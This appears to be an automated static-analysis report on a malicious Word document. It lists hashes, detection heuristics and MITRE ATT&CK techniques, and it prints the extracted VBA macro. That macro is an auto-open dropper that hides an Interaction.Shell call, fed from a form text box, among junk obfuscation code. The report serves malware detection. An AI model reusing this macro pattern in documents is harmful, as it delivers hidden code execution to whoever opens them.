Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0e80ec4894c44c8f…

MALICIOUS

Office (OLE)

139.8 KB Created: 2018-12-18 17:38:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: a6c006f92ae87fe12b1db9e5c5c760a2 SHA-1: bdce3a04b9cb2f1e31c28aa4cbd4976c50ab799e SHA-256: 0e80ec4894c44c8f2d8722f6bbafddb4efa5b14efbd062e5a9cfa06993e03356
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a VBA macro with an autoopen subroutine, which is a common technique for executing malicious code upon document opening. The macro utilizes a Shell() call and a suspicious cmd.exe invocation, indicating an attempt to run external commands. This strongly suggests the document is designed to download and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6788057-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6788057-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          End Select
v334283 = Array(G6908256, E3807807, h36374154, Interaction.Shell(CleanString(T38971366334.TextBox1), 57 - 57), o06425)
   Select Case I665
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
w1251254
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4698 bytes
SHA-256: e8757a15ec21f40f596d8c93386011b15e71b304ce889a1aa1a97b6cd94fd206
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "T38971366334"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
w1251254
End Sub

Attribute VB_Name = "D2150701"
Function w1251254()
On Error Resume Next
   Select Case N724
         Case 163081977
            Q738 = Tan(D519 - Rnd(k0918) / 277876117 - Tan(f5712))
            j8757 = Round(N4215 * Chr(188870264))
         Case 26844403
            O6100 = 296215787
            j5345 = Round(u698 + Chr(G971 + Log(121749527) - r2756 / Hex(317401534)))
         Case 135692792
            j351 = k240
            O5125 = p331
      End Select
   Select Case f1777
         Case 30916833
            p097 = Tan(a112 - Rnd(O204) / 25808490 - Tan(O565))
            T3095 = Round(G8500 * Chr(101881720))
         Case 303862789
            v0235 = 204091419
            N729 = Round(d664 + Chr(G725 + Log(229354865) - q1603 / Hex(236212210)))
         Case 136929842
            u172 = H3198
            i904 = i228
      End Select
   Select Case Q5113
         Case 318581790
            M203 = Tan(i2631 - Rnd(M772) / 156732320 - Tan(i498))
            L0100 = Round(z5860 * Chr(19936440))
         Case 192147395
            R9610 = 147650394
            u839 = Round(K0840 + Chr(Z701 + Log(72582941) - l6694 / Hex(166689418)))
         Case 87261733
            D5251 = s424
            m104 = k469
      End Select
   Select Case W0305
         Case 168100776
            T9062 = Tan(s6565 - Rnd(p8686) / 2166668 - Tan(a8108))
            r5957 = Round(T6680 * Chr(192385124))
         Case 306657457
            L4086 = 152592976
            w1937 = Round(c0039 + Chr(j431 + Log(33932424) - w1330 / Hex(218138403)))
         Case 63275896
            F7284 = O094
            I1796 = Y1336
      End Select
v334283 = Array(G6908256, E3807807, h36374154, Interaction.Shell(CleanString(T38971366334.TextBox1), 57 - 57), o06425)
   Select Case I665
         Case 102602904
            p0046 = Tan(H4966 - Rnd(T952) / 234800400 - Tan(O3686))
            t1451 = Round(q9299 * Chr(154879964))
         Case 73686580
            E6274 = 203592769
            f637 = Round(q031 + Chr(C525 + Log(166945718) - m4087 / Hex(63694009)))
         Case 181550050
            C0068 = t407
            b281 = u7289
      End Select
End Function


Attribute VB_Name = "f144495513"

Attribute VB_Name = "u4603756"

Attribute VB_Name = "Y13091182197078"

Attribute VB_Name = "E29691026226266"

Attribute VB_Name = "c415054317234"

Attribute VB_Name = "k84445604"

Attribute VB_Name = "t931546425"

Attribute VB_Name = "j6395892"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "q4227304"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "k65003971783"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "j928661269"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "O292217142149"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "L27363959128367"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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